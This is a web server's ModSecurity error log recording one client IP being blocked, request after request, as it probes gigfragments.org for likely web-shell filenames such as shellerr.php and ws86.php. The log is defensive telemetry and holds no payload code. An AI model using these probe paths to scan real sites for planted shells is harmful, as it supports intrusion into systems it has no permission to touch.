[Wed Apr 01 21:06:59.248339 2026] [:error] [pid 17856:tid 17874] [client 52.156.211.140:36992] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "ac0Ycz7Idlm5j9frhqQ0ngAAAFA"]
[Wed Apr 01 21:07:00.649666 2026] [:error] [pid 8910:tid 8992] [client 52.156.211.140:4053] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sweg.php"] [unique_id "ac0YdKJZINUcF3tYgExiegAAARg"]
[Wed Apr 01 21:07:01.153705 2026] [:error] [pid 62559:tid 62569] [client 52.156.211.140:37205] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sweg.php"] [unique_id "ac0YdS7NKI8IaNKZFIeggAAAAUg"]
[Wed Apr 01 21:07:02.878825 2026] [:error] [pid 17856:tid 17876] [client 52.156.211.140:3979] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sweg.php"] [unique_id "ac0Ydj7Idlm5j9frhqQ0rQAAAFI"]
[Wed Apr 01 21:07:03.396695 2026] [:error] [pid 17856:tid 17870] [client 52.156.211.140:4095] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sweg.php"] [unique_id "ac0Ydz7Idlm5j9frhqQ0sQAAAEw"]
[Wed Apr 01 21:07:04.907576 2026] [:error] [pid 8908:tid 8915] [client 52.156.211.140:37239] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "ac0YePkmxtJXGnLdvgCKcgAAAII"]
[Wed Apr 01 21:07:05.428799 2026] [:error] [pid 8995:tid 9022] [client 52.156.211.140:37029] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "ac0YeeonaBjs3qxcRefKmAAAABg"]
[Wed Apr 01 21:07:05.930866 2026] [:error] [pid 8908:tid 8931] [client 52.156.211.140:4036] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "ac0YefkmxtJXGnLdvgCKeQAAAJI"]
[Wed Apr 01 21:07:06.434617 2026] [:error] [pid 8909:tid 8965] [client 52.156.211.140:37206] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "ac0YejvP_a0662gDl6DKuwAAANg"]
[Wed Apr 01 21:07:06.953730 2026] [:error] [pid 8908:tid 8921] [client 52.156.211.140:37018] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws40.php"] [unique_id "ac0YevkmxtJXGnLdvgCKgQAAAIg"]
[Wed Apr 01 21:07:08.460842 2026] [:error] [pid 17856:tid 17866] [client 52.156.211.140:37024] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws40.php"] [unique_id "ac0YfD7Idlm5j9frhqQ0yQAAAEg"]
[Wed Apr 01 21:07:08.962425 2026] [:error] [pid 17856:tid 17858] [client 52.156.211.140:37016] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws40.php"] [unique_id "ac0YfD7Idlm5j9frhqQ0zgAAAEA"]
[Wed Apr 01 21:07:09.491955 2026] [:error] [pid 8995:tid 9017] [client 52.156.211.140:37000] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws40.php"] [unique_id "ac0YfeonaBjs3qxcRefKpwAAABM"]
[Wed Apr 01 21:07:10.019114 2026] [:error] [pid 8909:tid 8952] [client 52.156.211.140:37194] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "ac0YfjvP_a0662gDl6DKxgAAAMs"]
[Wed Apr 01 21:07:10.553460 2026] [:error] [pid 8995:tid 9007] [client 52.156.211.140:37010] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "ac0YfuonaBjs3qxcRefKrgAAAAk"]
[Wed Apr 01 21:07:11.059974 2026] [:error] [pid 8908:tid 8920] [client 52.156.211.140:4090] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "ac0Yf_kmxtJXGnLdvgCKiwAAAIc"]
[Wed Apr 01 21:07:11.643534 2026] [:error] [pid 8995:tid 9000] [client 52.156.211.140:4048] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "ac0Yf-onaBjs3qxcRefKtwAAAAI"]
[Wed Apr 01 21:07:12.151132 2026] [:error] [pid 17856:tid 17858] [client 52.156.211.140:4055] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "ac0YgD7Idlm5j9frhqQ02AAAAEA"]
[Wed Apr 01 21:07:12.664675 2026] [:error] [pid 8995:tid 9020] [client 52.156.211.140:4047] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "ac0YgOonaBjs3qxcRefKvAAAABY"]
[Wed Apr 01 21:07:13.165639 2026] [:error] [pid 17856:tid 17866] [client 52.156.211.140:4038] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "ac0YgT7Idlm5j9frhqQ03wAAAEg"]
[Wed Apr 01 21:07:13.696897 2026] [:error] [pid 62559:tid 62566] [client 52.156.211.140:3909] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "ac0YgS7NKI8IaNKZFIeglgAAAUU"]
[Wed Apr 01 21:07:14.203403 2026] [:error] [pid 8909:tid 8957] [client 52.156.211.140:3969] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellerr.php"] [unique_id "ac0YgjvP_a0662gDl6DK4AAAANA"]
[Wed Apr 01 21:07:14.727876 2026] [:error] [pid 8908:tid 8927] [client 52.156.211.140:4056] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellerr.php"] [unique_id "ac0YgvkmxtJXGnLdvgCKkQAAAI4"]
[Wed Apr 01 21:07:15.232374 2026] [:error] [pid 8908:tid 8935] [client 52.156.211.140:37212] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellerr.php"] [unique_id "ac0Yg_kmxtJXGnLdvgCKkgAAAJY"]
[Wed Apr 01 21:07:15.745960 2026] [:error] [pid 8909:tid 8958] [client 52.156.211.140:4043] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellerr.php"] [unique_id "ac0YgzvP_a0662gDl6DK7gAAANE"]
[Wed Apr 01 21:07:16.305908 2026] [:error] [pid 8908:tid 8913] [client 52.156.211.140:3905] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-scanner.php"] [unique_id "ac0YhPkmxtJXGnLdvgCKlAAAAIA"]
[Wed Apr 01 21:07:16.817135 2026] [:error] [pid 17856:tid 17880] [client 52.156.211.140:4057] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-scanner.php"] [unique_id "ac0YhD7Idlm5j9frhqQ07QAAAFY"]
[Wed Apr 01 21:07:17.317981 2026] [:error] [pid 8909:tid 8943] [client 52.156.211.140:37210] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-scanner.php"] [unique_id "ac0YhTvP_a0662gDl6DK_AAAAMI"]
[Wed Apr 01 21:07:17.823755 2026] [:error] [pid 17856:tid 17875] [client 52.156.211.140:37232] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-scanner.php"] [unique_id "ac0YhT7Idlm5j9frhqQ09gAAAFE"]
[Wed Apr 01 21:07:18.328250 2026] [:error] [pid 8909:tid 8953] [client 52.156.211.140:37190] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ac0YhjvP_a0662gDl6DLAgAAAMw"]
[Wed Apr 01 21:07:18.837009 2026] [:error] [pid 8909:tid 8963] [client 52.156.211.140:4089] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ac0YhjvP_a0662gDl6DLCAAAANY"]
[Wed Apr 01 21:07:19.385702 2026] [:error] [pid 8909:tid 8946] [client 52.156.211.140:37246] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ac0YhzvP_a0662gDl6DLCgAAAMU"]
[Wed Apr 01 21:07:19.898045 2026] [:error] [pid 8908:tid 8919] [client 52.156.211.140:37045] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ac0Yh_kmxtJXGnLdvgCKnwAAAIY"]
[Wed Apr 01 21:07:20.464766 2026] [:error] [pid 62559:tid 62585] [client 52.156.211.140:37032] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac0YiC7NKI8IaNKZFIegnQAAAVg"]
[Wed Apr 01 21:07:20.984309 2026] [:error] [pid 8910:tid 8977] [client 52.156.211.140:37043] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac0YiKJZINUcF3tYgExiiwAAAQk"]
[Wed Apr 01 21:07:21.616294 2026] [:error] [pid 8908:tid 8927] [client 52.156.211.140:4068] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac0YifkmxtJXGnLdvgCKowAAAI4"]
[Wed Apr 01 21:07:22.152581 2026] [:error] [pid 8909:tid 8955] [client 52.156.211.140:4071] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac0YijvP_a0662gDl6DLGQAAAM4"]
[Wed Apr 01 21:07:22.660686 2026] [:error] [pid 17856:tid 17871] [client 52.156.211.140:4024] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ac0Yij7Idlm5j9frhqQ1CwAAAE0"]
[Wed Apr 01 21:07:23.203180 2026] [:error] [pid 8909:tid 8962] [client 52.156.211.140:4014] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ac0YizvP_a0662gDl6DLHwAAANU"]
[Wed Apr 01 21:07:23.706527 2026] [:error] [pid 8909:tid 8946] [client 52.156.211.140:37037] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ac0YizvP_a0662gDl6DLIgAAAMU"]
[Wed Apr 01 21:07:24.227429 2026] [:error] [pid 8908:tid 8922] [client 52.156.211.140:4049] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ac0YjPkmxtJXGnLdvgCKrgAAAIk"]
[Wed Apr 01 21:07:25.851365 2026] [:error] [pid 8909:tid 8964] [client 52.156.211.140:4066] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "ac0YjTvP_a0662gDl6DLLgAAANc"]
[Wed Apr 01 21:07:26.417732 2026] [:error] [pid 8909:tid 8948] [client 52.156.211.140:37051] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "ac0YjjvP_a0662gDl6DLMgAAAMc"]
[Wed Apr 01 21:07:26.971680 2026] [:error] [pid 8909:tid 8965] [client 52.156.211.140:4054] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "ac0YjjvP_a0662gDl6DLOgAAANg"]
[Wed Apr 01 21:07:27.479847 2026] [:error] [pid 62559:tid 62569] [client 52.156.211.140:4078] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "ac0Yjy7NKI8IaNKZFIegpgAAAUg"]
[Wed Apr 01 21:07:28.040468 2026] [:error] [pid 62559:tid 62571] [client 52.156.211.140:4081] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "ac0YkC7NKI8IaNKZFIegqwAAAUo"]
[Wed Apr 01 21:07:28.566009 2026] [:error] [pid 8909:tid 8949] [client 52.156.211.140:37227] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "ac0YkDvP_a0662gDl6DLQQAAAMg"]
[Wed Apr 01 21:07:30.082361 2026] [:error] [pid 62559:tid 62576] [client 52.156.211.140:3982] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "ac0Yki7NKI8IaNKZFIegswAAAU8"]
[Wed Apr 01 21:07:30.618999 2026] [:error] [pid 17856:tid 17860] [client 52.156.211.140:4039] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "ac0Ykj7Idlm5j9frhqQ1GQAAAEI"]
[Wed Apr 01 21:07:31.252032 2026] [:error] [pid 17856:tid 17864] [client 52.156.211.140:4004] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ac0Ykz7Idlm5j9frhqQ1HAAAAEY"]
[Wed Apr 01 21:07:32.796317 2026] [:error] [pid 8995:tid 9008] [client 52.156.211.140:4072] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ac0YlOonaBjs3qxcRefKyQAAAAo"]
[Wed Apr 01 21:07:34.353644 2026] [:error] [pid 8908:tid 8929] [client 52.156.211.140:4070] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ac0YlvkmxtJXGnLdvgCKwQAAAJA"]
[Wed Apr 01 21:07:34.862434 2026] [:error] [pid 8908:tid 8921] [client 52.156.211.140:3990] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ac0YlvkmxtJXGnLdvgCKxQAAAIg"]
[Wed Apr 01 21:07:35.416691 2026] [:error] [pid 8909:tid 8942] [client 52.156.211.140:3968] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "ac0YlzvP_a0662gDl6DLUQAAAME"]
[Wed Apr 01 21:07:35.930175 2026] [:error] [pid 8910:tid 8990] [client 52.156.211.140:36993] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "ac0Yl6JZINUcF3tYgEximQAAARY"]
[Wed Apr 01 21:07:36.457970 2026] [:error] [pid 8995:tid 9012] [client 52.156.211.140:3971] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "ac0YmOonaBjs3qxcRefKzQAAAA4"]
[Wed Apr 01 21:07:36.956250 2026] [:error] [pid 8909:tid 8953] [client 52.156.211.140:3993] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "ac0YmDvP_a0662gDl6DLXQAAAMw"]
